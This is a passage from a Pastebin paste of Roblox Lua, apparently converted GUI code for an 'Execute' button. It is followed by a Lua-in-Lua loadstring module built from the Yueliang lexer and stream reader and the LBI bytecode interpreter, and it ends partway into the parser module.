RoGhoulXD

asdasdasdasd

Feb 10th, 2021 (edited)
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 198.17 KB | None | 0 0
  1. -- Gui to Lua
  2. -- Version: 3.2
  3.  
  4. -- Instances:
  5.  
  6. local Execute = Instance.new("TextButton")
  7.  
  8. --Properties:
  9.  
  10. Execute.Name = "Execute"
  11. Execute.Parent = frametest
  12. Execute.BackgroundColor3 = Color3.fromRGB(24, 24, 24)
  13. Execute.Position = UDim2.new(0.0279441103, 0, 0.836879432, 0)
  14. Execute.Size = UDim2.new(0, 170, 0, 33)
  15. Execute.Font = Enum.Font.SourceSans
  16. Execute.Text = "Execute"
  17. Execute.TextColor3 = Color3.fromRGB(255, 255, 255)
  18. Execute.TextScaled = true
  19. Execute.TextSize = 14.000
  20. Execute.TextWrapped = true
  21.  
  22. -- Module Scripts:
  23.  
  24. local fake_module_scripts = {}
  25.  
  26. do -- nil.Loadstring
  27. local script = Instance.new('ModuleScript', nil)
  28. script.Name = "Loadstring"
  29. local function module_script()
  30. --[[
  31. Credit to einsteinK.
  32. Credit to Stravant for LBI.
  33.  
  34. Credit to the creators of all the other modules used in this.
  35.  
  36. Sceleratis was here and decided modify some things.
  37.  
  38. einsteinK was here again to fix a bug in LBI for if-statements
  39. --]]
  40.  
  41. local waitDeps = {
  42. 'LBI';
  43. 'LuaK';
  44. 'LuaP';
  45. 'LuaU';
  46. 'LuaX';
  47. 'LuaY';
  48. 'LuaZ';
  49. }
  50.  
  51. for i,v in pairs(waitDeps) do script:WaitForChild(v) end
  52.  
  53. local luaX = require(script.LuaX)
  54. local luaY = require(script.LuaY)
  55. local luaZ = require(script.LuaZ)
  56. local luaU = require(script.LuaU)
  57. local lbi = require(script.LBI)
  58.  
  59. luaX:init()
  60. local LuaState = {}
  61.  
  62. return function(str,env)
  63. local f,writer,buff
  64. local ran,error=pcall(function()
  65. local zio = luaZ:init(luaZ:make_getS(str), nil)
  66. if not zio then return error() end
  67. local func = luaY:parser(LuaState, zio, nil, "@input")
  68. writer, buff = luaU:make_setS()
  69. luaU:dump(LuaState, func, writer, buff)
  70. f = lbi.load_bytecode(buff.data)
  71. if env then
  72. setfenv(f,env)
  73. else
  74. local env=getfenv()
  75. env.script=nil
  76. setfenv(f,env)
  77. end
  78. end)
  79. if ran then
  80. return f,buff.data
  81. else
  82. return nil,error
  83. end
  84. end
  85. end
  86. fake_module_scripts[script] = module_script
  87. end
  88. do -- nil.LuaZ
  89. local script = Instance.new('ModuleScript', nil)
  90. script.Name = "LuaZ"
  91. local function module_script()
  92. --[[--------------------------------------------------------------------
  93.  
  94. lzio.lua
  95. Lua buffered streams in Lua
  96. This file is part of Yueliang.
  97.  
  98. Copyright (c) 2005-2006 Kein-Hong Man <[email protected]>
  99. The COPYRIGHT file describes the conditions
  100. under which this software may be distributed.
  101.  
  102. See the ChangeLog for more information.
  103.  
  104. ----------------------------------------------------------------------]]
  105.  
  106. --[[--------------------------------------------------------------------
  107. -- Notes:
  108. -- * EOZ is implemented as a string, "EOZ"
  109. -- * Format of z structure (ZIO)
  110. -- z.n -- bytes still unread
  111. -- z.p -- last read position position in buffer
  112. -- z.reader -- chunk reader function
  113. -- z.data -- additional data
  114. -- * Current position, p, is now last read index instead of a pointer
  115. --
  116. -- Not implemented:
  117. -- * luaZ_lookahead: used only in lapi.c:lua_load to detect binary chunk
  118. -- * luaZ_read: used only in lundump.c:ezread to read +1 bytes
  119. -- * luaZ_openspace: dropped; let Lua handle buffers as strings (used in
  120. -- lundump.c:LoadString & lvm.c:luaV_concat)
  121. -- * luaZ buffer macros: dropped; buffers are handled as strings
  122. -- * lauxlib.c:getF reader implementation has an extraline flag to
  123. -- skip over a shbang (#!) line, this is not implemented here
  124. --
  125. -- Added:
  126. -- (both of the following are vaguely adapted from lauxlib.c)
  127. -- * luaZ:make_getS: create Reader from a string
  128. -- * luaZ:make_getF: create Reader that reads from a file
  129. --
  130. -- Changed in 5.1.x:
  131. -- * Chunkreader renamed to Reader (ditto with Chunkwriter)
  132. -- * Zio struct: no more name string, added Lua state for reader
  133. -- (however, Yueliang readers do not require a Lua state)
  134. ----------------------------------------------------------------------]]
  135.  
  136. local luaZ = {}
  137.  
  138. ------------------------------------------------------------------------
  139. -- * reader() should return a string, or nil if nothing else to parse.
  140. -- Additional data can be set only during stream initialization
  141. -- * Readers are handled in lauxlib.c, see luaL_load(file|buffer|string)
  142. -- * LUAL_BUFFERSIZE=BUFSIZ=512 in make_getF() (located in luaconf.h)
  143. -- * Original Reader typedef:
  144. -- const char * (*lua_Reader) (lua_State *L, void *ud, size_t *sz);
  145. -- * This Lua chunk reader implementation:
  146. -- returns string or nil, no arguments to function
  147. ------------------------------------------------------------------------
  148.  
  149. ------------------------------------------------------------------------
  150. -- create a chunk reader from a source string
  151. ------------------------------------------------------------------------
  152. function luaZ:make_getS(buff)
  153. local b = buff
  154. return function() -- chunk reader anonymous function here
  155. if not b then return nil end
  156. local data = b
  157. b = nil
  158. return data
  159. end
  160. end
  161.  
  162. ------------------------------------------------------------------------
  163. -- create a chunk reader from a source file
  164. ------------------------------------------------------------------------
  165. --[[
  166. function luaZ:make_getF(filename)
  167. local LUAL_BUFFERSIZE = 512
  168. local h = io.open(filename, "r")
  169. if not h then return nil end
  170. return function() -- chunk reader anonymous function here
  171. if not h or io.type(h) == "closed file" then return nil end
  172. local buff = h:read(LUAL_BUFFERSIZE)
  173. if not buff then h:close(); h = nil end
  174. return buff
  175. end
  176. end
  177. --]]
  178. ------------------------------------------------------------------------
  179. -- creates a zio input stream
  180. -- returns the ZIO structure, z
  181. ------------------------------------------------------------------------
  182. function luaZ:init(reader, data, name)
  183. if not reader then return end
  184. local z = {}
  185. z.reader = reader
  186. z.data = data or ""
  187. z.name = name
  188. -- set up additional data for reading
  189. if not data or data == "" then z.n = 0 else z.n = #data end
  190. z.p = 0
  191. return z
  192. end
  193.  
  194. ------------------------------------------------------------------------
  195. -- fill up input buffer
  196. ------------------------------------------------------------------------
  197. function luaZ:fill(z)
  198. local buff = z.reader()
  199. z.data = buff
  200. if not buff or buff == "" then return "EOZ" end
  201. z.n, z.p = #buff - 1, 1
  202. return string.sub(buff, 1, 1)
  203. end
  204.  
  205. ------------------------------------------------------------------------
  206. -- get next character from the input stream
  207. -- * local n, p are used to optimize code generation
  208. ------------------------------------------------------------------------
  209. function luaZ:zgetc(z)
  210. local n, p = z.n, z.p + 1
  211. if n > 0 then
  212. z.n, z.p = n - 1, p
  213. return string.sub(z.data, p, p)
  214. else
  215. return self:fill(z)
  216. end
  217. end
  218.  
  219. return luaZ
  220. end
  221. fake_module_scripts[script] = module_script
  222. end
  223. do -- nil.LuaX
  224. local script = Instance.new('ModuleScript', nil)
  225. script.Name = "LuaX"
  226. local function module_script()
  227. --[[--------------------------------------------------------------------
  228.  
  229. llex.lua
  230. Lua lexical analyzer in Lua
  231. This file is part of Yueliang.
  232.  
  233. Copyright (c) 2005-2006 Kein-Hong Man <[email protected]>
  234. The COPYRIGHT file describes the conditions
  235. under which this software may be distributed.
  236.  
  237. See the ChangeLog for more information.
  238.  
  239. ----------------------------------------------------------------------]]
  240.  
  241. --[[--------------------------------------------------------------------
  242. -- Notes:
  243. -- * intended to 'imitate' llex.c code; performance is not a concern
  244. -- * tokens are strings; code structure largely retained
  245. -- * deleted stuff (compared to llex.c) are noted, comments retained
  246. -- * nextc() returns the currently read character to simplify coding
  247. -- here; next() in llex.c does not return anything
  248. -- * compatibility code is marked with "--#" comments
  249. --
  250. -- Added:
  251. -- * luaX:chunkid (function luaO_chunkid from lobject.c)
  252. -- * luaX:str2d (function luaO_str2d from lobject.c)
  253. -- * luaX.LUA_QS used in luaX:lexerror (from luaconf.h)
  254. -- * luaX.LUA_COMPAT_LSTR in luaX:read_long_string (from luaconf.h)
  255. -- * luaX.MAX_INT used in luaX:inclinenumber (from llimits.h)
  256. --
  257. -- To use the lexer:
  258. -- (1) luaX:init() to initialize the lexer
  259. -- (2) luaX:setinput() to set the input stream to lex
  260. -- (3) call luaX:next() or luaX:luaX:lookahead() to get tokens,
  261. -- until "TK_EOS": luaX:next()
  262. -- * since EOZ is returned as a string, be careful when regexp testing
  263. --
  264. -- Not implemented:
  265. -- * luaX_newstring: not required by this Lua implementation
  266. -- * buffer MAX_SIZET size limit (from llimits.h) test not implemented
  267. -- in the interest of performance
  268. -- * locale-aware number handling is largely redundant as Lua's
  269. -- tonumber() function is already capable of this
  270. --
  271. -- Changed in 5.1.x:
  272. -- * TK_NAME token order moved down
  273. -- * string representation for TK_NAME, TK_NUMBER, TK_STRING changed
  274. -- * token struct renamed to lower case (LS -> ls)
  275. -- * LexState struct: removed nestlevel, added decpoint
  276. -- * error message functions have been greatly simplified
  277. -- * token2string renamed to luaX_tokens, exposed in llex.h
  278. -- * lexer now handles all kinds of newlines, including CRLF
  279. -- * shbang first line handling removed from luaX:setinput;
  280. -- it is now done in lauxlib.c (luaL_loadfile)
  281. -- * next(ls) macro renamed to nextc(ls) due to new luaX_next function
  282. -- * EXTRABUFF and MAXNOCHECK removed due to lexer changes
  283. -- * checkbuffer(ls, len) macro deleted
  284. -- * luaX:read_numeral now has 3 support functions: luaX:trydecpoint,
  285. -- luaX:buffreplace and (luaO_str2d from lobject.c) luaX:str2d
  286. -- * luaX:read_numeral is now more promiscuous in slurping characters;
  287. -- hexadecimal numbers was added, locale-aware decimal points too
  288. -- * luaX:skip_sep is new; used by luaX:read_long_string
  289. -- * luaX:read_long_string handles new-style long blocks, with some
  290. -- optional compatibility code
  291. -- * luaX:llex: parts changed to support new-style long blocks
  292. -- * luaX:llex: readname functionality has been folded in
  293. -- * luaX:llex: removed test for control characters
  294. --
  295. --------------------------------------------------------------------]]
  296.  
  297. local luaZ = require(script.Parent.LuaZ)
  298.  
  299. local luaX = {}
  300.  
  301. -- FIRST_RESERVED is not required as tokens are manipulated as strings
  302. -- TOKEN_LEN deleted; maximum length of a reserved word not needed
  303.  
  304. ------------------------------------------------------------------------
  305. -- "ORDER RESERVED" deleted; enumeration in one place: luaX.RESERVED
  306. ------------------------------------------------------------------------
  307.  
  308. -- terminal symbols denoted by reserved words: TK_AND to TK_WHILE
  309. -- other terminal symbols: TK_NAME to TK_EOS
  310. luaX.RESERVED = [[
  311. TK_AND and
  312. TK_BREAK break
  313. TK_DO do
  314. TK_ELSE else
  315. TK_ELSEIF elseif
  316. TK_END end
  317. TK_FALSE false
  318. TK_FOR for
  319. TK_FUNCTION function
  320. TK_IF if
  321. TK_IN in
  322. TK_LOCAL local
  323. TK_NIL nil
  324. TK_NOT not
  325. TK_OR or
  326. TK_REPEAT repeat
  327. TK_RETURN return
  328. TK_THEN then
  329. TK_TRUE true
  330. TK_UNTIL until
  331. TK_WHILE while
  332. TK_CONCAT ..
  333. TK_DOTS ...
  334. TK_EQ ==
  335. TK_GE >=
  336. TK_LE <=
  337. TK_NE ~=
  338. TK_NAME <name>
  339. TK_NUMBER <number>
  340. TK_STRING <string>
  341. TK_EOS <eof>]]
  342.  
  343. -- NUM_RESERVED is not required; number of reserved words
  344.  
  345. --[[--------------------------------------------------------------------
  346. -- Instead of passing seminfo, the Token struct (e.g. ls.t) is passed
  347. -- so that lexer functions can use its table element, ls.t.seminfo
  348. --
  349. -- SemInfo (struct no longer needed, a mixed-type value is used)
  350. --
  351. -- Token (struct of ls.t and ls.lookahead):
  352. -- token -- token symbol
  353. -- seminfo -- semantics information
  354. --
  355. -- LexState (struct of ls; ls is initialized by luaX:setinput):
  356. -- current -- current character (charint)
  357. -- linenumber -- input line counter
  358. -- lastline -- line of last token 'consumed'
  359. -- t -- current token (table: struct Token)
  360. -- lookahead -- look ahead token (table: struct Token)
  361. -- fs -- 'FuncState' is private to the parser
  362. -- L -- LuaState
  363. -- z -- input stream
  364. -- buff -- buffer for tokens
  365. -- source -- current source name
  366. -- decpoint -- locale decimal point
  367. -- nestlevel -- level of nested non-terminals
  368. ----------------------------------------------------------------------]]
  369.  
  370. -- luaX.tokens (was luaX_tokens) is now a hash; see luaX:init
  371.  
  372. luaX.MAXSRC = 80
  373. luaX.MAX_INT = 2147483645 -- constants from elsewhere (see above)
  374. luaX.LUA_QS = "'%s'"
  375. luaX.LUA_COMPAT_LSTR = 1
  376. --luaX.MAX_SIZET = 4294967293
  377.  
  378. ------------------------------------------------------------------------
  379. -- initialize lexer
  380. -- * original luaX_init has code to create and register token strings
  381. -- * luaX.tokens: TK_* -> token
  382. -- * luaX.enums: token -> TK_* (used in luaX:llex)
  383. ------------------------------------------------------------------------
  384. function luaX:init()
  385. local tokens, enums = {}, {}
  386. for v in string.gmatch(self.RESERVED, "[^\n]+") do
  387. local _, _, tok, str = string.find(v, "(%S+)%s+(%S+)")
  388. tokens[tok] = str
  389. enums[str] = tok
  390. end
  391. self.tokens = tokens
  392. self.enums = enums
  393. end
  394.  
  395. ------------------------------------------------------------------------
  396. -- returns a suitably-formatted chunk name or id
  397. -- * from lobject.c, used in llex.c and ldebug.c
  398. -- * the result, out, is returned (was first argument)
  399. ------------------------------------------------------------------------
  400. function luaX:chunkid(source, bufflen)
  401. local out
  402. local first = string.sub(source, 1, 1)
  403. if first == "=" then
  404. out = string.sub(source, 2, bufflen) -- remove first char
  405. else -- out = "source", or "...source"
  406. if first == "@" then
  407. source = string.sub(source, 2) -- skip the '@'
  408. bufflen = bufflen - #" '...' "
  409. local l = #source
  410. out = ""
  411. if l > bufflen then
  412. source = string.sub(source, 1 + l - bufflen) -- get last part of file name
  413. out = out.."..."
  414. end
  415. out = out..source
  416. else -- out = [string "string"]
  417. local len = string.find(source, "[\n\r]") -- stop at first newline
  418. len = len and (len - 1) or #source
  419. bufflen = bufflen - #(" [string \"...\"] ")
  420. if len > bufflen then len = bufflen end
  421. out = "[string \""
  422. if len < #source then -- must truncate?
  423. out = out..string.sub(source, 1, len).."..."
  424. else
  425. out = out..source
  426. end
  427. out = out.."\"]"
  428. end
  429. end
  430. return out
  431. end
  432.  
  433. --[[--------------------------------------------------------------------
  434. -- Support functions for lexer
  435. -- * all lexer errors eventually reaches lexerror:
  436. syntaxerror -> lexerror
  437. ----------------------------------------------------------------------]]
  438.  
  439. ------------------------------------------------------------------------
  440. -- look up token and return keyword if found (also called by parser)
  441. ------------------------------------------------------------------------
  442. function luaX:token2str(ls, token)
  443. if string.sub(token, 1, 3) ~= "TK_" then
  444. if string.find(token, "%c") then
  445. return string.format("char(%d)", string.byte(token))
  446. end
  447. return token
  448. else
  449. end
  450. return self.tokens[token]
  451. end
  452.  
  453. ------------------------------------------------------------------------
  454. -- throws a lexer error
  455. -- * txtToken has been made local to luaX:lexerror
  456. -- * can't communicate LUA_ERRSYNTAX, so it is unimplemented
  457. ------------------------------------------------------------------------
  458. function luaX:lexerror(ls, msg, token)
  459. local function txtToken(ls, token)
  460. if token == "TK_NAME" or
  461. token == "TK_STRING" or
  462. token == "TK_NUMBER" then
  463. return ls.buff
  464. else
  465. return self:token2str(ls, token)
  466. end
  467. end
  468. local buff = self:chunkid(ls.source, self.MAXSRC)
  469. local msg = string.format("%s:%d: %s", buff, ls.linenumber, msg)
  470. if token then
  471. msg = string.format("%s near "..self.LUA_QS, msg, txtToken(ls, token))
  472. end
  473. -- luaD_throw(ls->L, LUA_ERRSYNTAX)
  474. error(msg)
  475. end
  476.  
  477. ------------------------------------------------------------------------
  478. -- throws a syntax error (mainly called by parser)
  479. -- * ls.t.token has to be set by the function calling luaX:llex
  480. -- (see luaX:next and luaX:lookahead elsewhere in this file)
  481. ------------------------------------------------------------------------
  482. function luaX:syntaxerror(ls, msg)
  483. self:lexerror(ls, msg, ls.t.token)
  484. end
  485.  
  486. ------------------------------------------------------------------------
  487. -- move on to next line
  488. ------------------------------------------------------------------------
  489. function luaX:currIsNewline(ls)
  490. return ls.current == "\n" or ls.current == "\r"
  491. end
  492.  
  493. function luaX:inclinenumber(ls)
  494. local old = ls.current
  495. -- lua_assert(currIsNewline(ls))
  496. self:nextc(ls) -- skip '\n' or '\r'
  497. if self:currIsNewline(ls) and ls.current ~= old then
  498. self:nextc(ls) -- skip '\n\r' or '\r\n'
  499. end
  500. ls.linenumber = ls.linenumber + 1
  501. if ls.linenumber >= self.MAX_INT then
  502. self:syntaxerror(ls, "chunk has too many lines")
  503. end
  504. end
  505.  
  506. ------------------------------------------------------------------------
  507. -- initializes an input stream for lexing
  508. -- * if ls (the lexer state) is passed as a table, then it is filled in,
  509. -- otherwise it has to be retrieved as a return value
  510. -- * LUA_MINBUFFER not used; buffer handling not required any more
  511. ------------------------------------------------------------------------
  512. function luaX:setinput(L, ls, z, source)
  513. if not ls then ls = {} end -- create struct
  514. if not ls.lookahead then ls.lookahead = {} end
  515. if not ls.t then ls.t = {} end
  516. ls.decpoint = "."
  517. ls.L = L
  518. ls.lookahead.token = "TK_EOS" -- no look-ahead token
  519. ls.z = z
  520. ls.fs = nil
  521. ls.linenumber = 1
  522. ls.lastline = 1
  523. ls.source = source
  524. self:nextc(ls) -- read first char
  525. end
  526.  
  527. --[[--------------------------------------------------------------------
  528. -- LEXICAL ANALYZER
  529. ----------------------------------------------------------------------]]
  530.  
  531. ------------------------------------------------------------------------
  532. -- checks if current character read is found in the set 'set'
  533. ------------------------------------------------------------------------
  534. function luaX:check_next(ls, set)
  535. if not string.find(set, ls.current, 1, 1) then
  536. return false
  537. end
  538. self:save_and_next(ls)
  539. return true
  540. end
  541.  
  542. ------------------------------------------------------------------------
  543. -- retrieve next token, checking the lookahead buffer if necessary
  544. -- * note that the macro next(ls) in llex.c is now luaX:nextc
  545. -- * utilized used in lparser.c (various places)
  546. ------------------------------------------------------------------------
  547. function luaX:next(ls)
  548. ls.lastline = ls.linenumber
  549. if ls.lookahead.token ~= "TK_EOS" then -- is there a look-ahead token?
  550. -- this must be copy-by-value
  551. ls.t.seminfo = ls.lookahead.seminfo -- use this one
  552. ls.t.token = ls.lookahead.token
  553. ls.lookahead.token = "TK_EOS" -- and discharge it
  554. else
  555. ls.t.token = self:llex(ls, ls.t) -- read next token
  556. end
  557. end
  558.  
  559. ------------------------------------------------------------------------
  560. -- fill in the lookahead buffer
  561. -- * utilized used in lparser.c:constructor
  562. ------------------------------------------------------------------------
  563. function luaX:lookahead(ls)
  564. -- lua_assert(ls.lookahead.token == "TK_EOS")
  565. ls.lookahead.token = self:llex(ls, ls.lookahead)
  566. end
  567.  
  568. ------------------------------------------------------------------------
  569. -- gets the next character and returns it
  570. -- * this is the next() macro in llex.c; see notes at the beginning
  571. ------------------------------------------------------------------------
  572. function luaX:nextc(ls)
  573. local c = luaZ:zgetc(ls.z)
  574. ls.current = c
  575. return c
  576. end
  577.  
  578. ------------------------------------------------------------------------
  579. -- saves the given character into the token buffer
  580. -- * buffer handling code removed, not used in this implementation
  581. -- * test for maximum token buffer length not used, makes things faster
  582. ------------------------------------------------------------------------
  583.  
  584. function luaX:save(ls, c)
  585. local buff = ls.buff
  586. -- if you want to use this, please uncomment luaX.MAX_SIZET further up
  587. --if #buff > self.MAX_SIZET then
  588. -- self:lexerror(ls, "lexical element too long")
  589. --end
  590. ls.buff = buff..c
  591. end
  592.  
  593. ------------------------------------------------------------------------
  594. -- save current character into token buffer, grabs next character
  595. -- * like luaX:nextc, returns the character read for convenience
  596. ------------------------------------------------------------------------
  597. function luaX:save_and_next(ls)
  598. self:save(ls, ls.current)
  599. return self:nextc(ls)
  600. end
  601.  
  602. ------------------------------------------------------------------------
  603. -- LUA_NUMBER
  604. -- * luaX:read_numeral is the main lexer function to read a number
  605. -- * luaX:str2d, luaX:buffreplace, luaX:trydecpoint are support functions
  606. ------------------------------------------------------------------------
  607.  
  608. ------------------------------------------------------------------------
  609. -- string to number converter (was luaO_str2d from lobject.c)
  610. -- * returns the number, nil if fails (originally returns a boolean)
  611. -- * conversion function originally lua_str2number(s,p), a macro which
  612. -- maps to the strtod() function by default (from luaconf.h)
  613. ------------------------------------------------------------------------
  614. function luaX:str2d(s)
  615. local result = tonumber(s)
  616. if result then return result end
  617. -- conversion failed
  618. if string.lower(string.sub(s, 1, 2)) == "0x" then -- maybe an hexadecimal constant?
  619. result = tonumber(s, 16)
  620. if result then return result end -- most common case
  621. -- Was: invalid trailing characters?
  622. -- In C, this function then skips over trailing spaces.
  623. -- true is returned if nothing else is found except for spaces.
  624. -- If there is still something else, then it returns a false.
  625. -- All this is not necessary using Lua's tonumber.
  626. end
  627. return nil
  628. end
  629.  
  630. ------------------------------------------------------------------------
  631. -- single-character replacement, for locale-aware decimal points
  632. ------------------------------------------------------------------------
  633. function luaX:buffreplace(ls, from, to)
  634. local result, buff = "", ls.buff
  635. for p = 1, #buff do
  636. local c = string.sub(buff, p, p)
  637. if c == from then c = to end
  638. result = result..c
  639. end
  640. ls.buff = result
  641. end
  642.  
  643. ------------------------------------------------------------------------
  644. -- Attempt to convert a number by translating '.' decimal points to
  645. -- the decimal point character used by the current locale. This is not
  646. -- needed in Yueliang as Lua's tonumber() is already locale-aware.
  647. -- Instead, the code is here in case the user implements localeconv().
  648. ------------------------------------------------------------------------
  649. function luaX:trydecpoint(ls, Token)
  650. -- format error: try to update decimal point separator
  651. local old = ls.decpoint
  652. -- translate the following to Lua if you implement localeconv():
  653. -- struct lconv *cv = localeconv();
  654. -- ls->decpoint = (cv ? cv->decimal_point[0] : '.');
  655. self:buffreplace(ls, old, ls.decpoint) -- try updated decimal separator
  656. local seminfo = self:str2d(ls.buff)
  657. Token.seminfo = seminfo
  658. if not seminfo then
  659. -- format error with correct decimal point: no more options
  660. self:buffreplace(ls, ls.decpoint, ".") -- undo change (for error message)
  661. self:lexerror(ls, "malformed number", "TK_NUMBER")
  662. end
  663. end
  664.  
  665. ------------------------------------------------------------------------
  666. -- main number conversion function
  667. -- * "^%w$" needed in the scan in order to detect "EOZ"
  668. ------------------------------------------------------------------------
  669. function luaX:read_numeral(ls, Token)
  670. -- lua_assert(string.find(ls.current, "%d"))
  671. repeat
  672. self:save_and_next(ls)
  673. until string.find(ls.current, "%D") and ls.current ~= "."
  674. if self:check_next(ls, "Ee") then -- 'E'?
  675. self:check_next(ls, "+-") -- optional exponent sign
  676. end
  677. while string.find(ls.current, "^%w$") or ls.current == "_" do
  678. self:save_and_next(ls)
  679. end
  680. self:buffreplace(ls, ".", ls.decpoint) -- follow locale for decimal point
  681. local seminfo = self:str2d(ls.buff)
  682. Token.seminfo = seminfo
  683. if not seminfo then -- format error?
  684. self:trydecpoint(ls, Token) -- try to update decimal point separator
  685. end
  686. end
  687.  
  688. ------------------------------------------------------------------------
  689. -- count separators ("=") in a long string delimiter
  690. -- * used by luaX:read_long_string
  691. ------------------------------------------------------------------------
  692. function luaX:skip_sep(ls)
  693. local count = 0
  694. local s = ls.current
  695. -- lua_assert(s == "[" or s == "]")
  696. self:save_and_next(ls)
  697. while ls.current == "=" do
  698. self:save_and_next(ls)
  699. count = count + 1
  700. end
  701. return (ls.current == s) and count or (-count) - 1
  702. end
  703.  
  704. ------------------------------------------------------------------------
  705. -- reads a long string or long comment
  706. ------------------------------------------------------------------------
  707. function luaX:read_long_string(ls, Token, sep)
  708. local cont = 0
  709. self:save_and_next(ls) -- skip 2nd '['
  710. if self:currIsNewline(ls) then -- string starts with a newline?
  711. self:inclinenumber(ls) -- skip it
  712. end
  713. while true do
  714. local c = ls.current
  715. if c == "EOZ" then
  716. self:lexerror(ls, Token and "unfinished long string" or
  717. "unfinished long comment", "TK_EOS")
  718. elseif c == "[" then
  719. --# compatibility code start
  720. if self.LUA_COMPAT_LSTR then
  721. if self:skip_sep(ls) == sep then
  722. self:save_and_next(ls) -- skip 2nd '['
  723. cont = cont + 1
  724. --# compatibility code start
  725. if self.LUA_COMPAT_LSTR == 1 then
  726. if sep == 0 then
  727. self:lexerror(ls, "nesting of [[...]] is deprecated", "[")
  728. end
  729. end
  730. --# compatibility code end
  731. end
  732. end
  733. --# compatibility code end
  734. elseif c == "]" then
  735. if self:skip_sep(ls) == sep then
  736. self:save_and_next(ls) -- skip 2nd ']'
  737. --# compatibility code start
  738. if self.LUA_COMPAT_LSTR and self.LUA_COMPAT_LSTR == 2 then
  739. cont = cont - 1
  740. if sep == 0 and cont >= 0 then break end
  741. end
  742. --# compatibility code end
  743. break
  744. end
  745. elseif self:currIsNewline(ls) then
  746. self:save(ls, "\n")
  747. self:inclinenumber(ls)
  748. if not Token then ls.buff = "" end -- avoid wasting space
  749. else -- default
  750. if Token then
  751. self:save_and_next(ls)
  752. else
  753. self:nextc(ls)
  754. end
  755. end--if c
  756. end--while
  757. if Token then
  758. local p = 3 + sep
  759. Token.seminfo = string.sub(ls.buff, p, -p)
  760. end
  761. end
  762.  
  763. ------------------------------------------------------------------------
  764. -- reads a string
  765. -- * has been restructured significantly compared to the original C code
  766. ------------------------------------------------------------------------
  767.  
  768. function luaX:read_string(ls, del, Token)
  769. self:save_and_next(ls)
  770. while ls.current ~= del do
  771. local c = ls.current
  772. if c == "EOZ" then
  773. self:lexerror(ls, "unfinished string", "TK_EOS")
  774. elseif self:currIsNewline(ls) then
  775. self:lexerror(ls, "unfinished string", "TK_STRING")
  776. elseif c == "\\" then
  777. c = self:nextc(ls) -- do not save the '\'
  778. if self:currIsNewline(ls) then -- go through
  779. self:save(ls, "\n")
  780. self:inclinenumber(ls)
  781. elseif c ~= "EOZ" then -- will raise an error next loop
  782. -- escapes handling greatly simplified here:
  783. local i = string.find("abfnrtv", c, 1, 1)
  784. if i then
  785. self:save(ls, string.sub("\a\b\f\n\r\t\v", i, i))
  786. self:nextc(ls)
  787. elseif not string.find(c, "%d") then
  788. self:save_and_next(ls) -- handles \\, \", \', and \?
  789. else -- \xxx
  790. c, i = 0, 0
  791. repeat
  792. c = 10 * c + ls.current
  793. self:nextc(ls)
  794. i = i + 1
  795. until i >= 3 or not string.find(ls.current, "%d")
  796. if c > 255 then -- UCHAR_MAX
  797. self:lexerror(ls, "escape sequence too large", "TK_STRING")
  798. end
  799. self:save(ls, string.char(c))
  800. end
  801. end
  802. else
  803. self:save_and_next(ls)
  804. end--if c
  805. end--while
  806. self:save_and_next(ls) -- skip delimiter
  807. Token.seminfo = string.sub(ls.buff, 2, -2)
  808. end
  809.  
  810. ------------------------------------------------------------------------
  811. -- main lexer function
  812. ------------------------------------------------------------------------
  813. function luaX:llex(ls, Token)
  814. ls.buff = ""
  815. while true do
  816. local c = ls.current
  817. ----------------------------------------------------------------
  818. if self:currIsNewline(ls) then
  819. self:inclinenumber(ls)
  820. ----------------------------------------------------------------
  821. elseif c == "-" then
  822. c = self:nextc(ls)
  823. if c ~= "-" then return "-" end
  824. -- else is a comment
  825. local sep = -1
  826. if self:nextc(ls) == '[' then
  827. sep = self:skip_sep(ls)
  828. ls.buff = "" -- 'skip_sep' may dirty the buffer
  829. end
  830. if sep >= 0 then
  831. self:read_long_string(ls, nil, sep) -- long comment
  832. ls.buff = ""
  833. else -- else short comment
  834. while not self:currIsNewline(ls) and ls.current ~= "EOZ" do
  835. self:nextc(ls)
  836. end
  837. end
  838. ----------------------------------------------------------------
  839. elseif c == "[" then
  840. local sep = self:skip_sep(ls)
  841. if sep >= 0 then
  842. self:read_long_string(ls, Token, sep)
  843. return "TK_STRING"
  844. elseif sep == -1 then
  845. return "["
  846. else
  847. self:lexerror(ls, "invalid long string delimiter", "TK_STRING")
  848. end
  849. ----------------------------------------------------------------
  850. elseif c == "=" then
  851. c = self:nextc(ls)
  852. if c ~= "=" then return "="
  853. else self:nextc(ls); return "TK_EQ" end
  854. ----------------------------------------------------------------
  855. elseif c == "<" then
  856. c = self:nextc(ls)
  857. if c ~= "=" then return "<"
  858. else self:nextc(ls); return "TK_LE" end
  859. ----------------------------------------------------------------
  860. elseif c == ">" then
  861. c = self:nextc(ls)
  862. if c ~= "=" then return ">"
  863. else self:nextc(ls); return "TK_GE" end
  864. ----------------------------------------------------------------
  865. elseif c == "~" then
  866. c = self:nextc(ls)
  867. if c ~= "=" then return "~"
  868. else self:nextc(ls); return "TK_NE" end
  869. ----------------------------------------------------------------
  870. elseif c == "\"" or c == "'" then
  871. self:read_string(ls, c, Token)
  872. return "TK_STRING"
  873. ----------------------------------------------------------------
  874. elseif c == "." then
  875. c = self:save_and_next(ls)
  876. if self:check_next(ls, ".") then
  877. if self:check_next(ls, ".") then
  878. return "TK_DOTS" -- ...
  879. else return "TK_CONCAT" -- ..
  880. end
  881. elseif not string.find(c, "%d") then
  882. return "."
  883. else
  884. self:read_numeral(ls, Token)
  885. return "TK_NUMBER"
  886. end
  887. ----------------------------------------------------------------
  888. elseif c == "EOZ" then
  889. return "TK_EOS"
  890. ----------------------------------------------------------------
  891. else -- default
  892. if string.find(c, "%s") then
  893. -- lua_assert(self:currIsNewline(ls))
  894. self:nextc(ls)
  895. elseif string.find(c, "%d") then
  896. self:read_numeral(ls, Token)
  897. return "TK_NUMBER"
  898. elseif string.find(c, "[_%a]") then
  899. -- identifier or reserved word
  900. repeat
  901. c = self:save_and_next(ls)
  902. until c == "EOZ" or not string.find(c, "[_%w]")
  903. local ts = ls.buff
  904. local tok = self.enums[ts]
  905. if tok then return tok end -- reserved word?
  906. Token.seminfo = ts
  907. return "TK_NAME"
  908. else
  909. self:nextc(ls)
  910. return c -- single-char tokens (+ - / ...)
  911. end
  912. ----------------------------------------------------------------
  913. end--if c
  914. end--while
  915. end
  916.  
  917. return luaX
  918. end
  919. fake_module_scripts[script] = module_script
  920. end
  921. do -- nil.LuaY
  922. local script = Instance.new('ModuleScript', nil)
  923. script.Name = "LuaY"
  924. local function module_script()
  925. --[[--------------------------------------------------------------------
  926.  
  927. lparser.lua
  928. Lua 5 parser in Lua
  929. This file is part of Yueliang.
  930.  
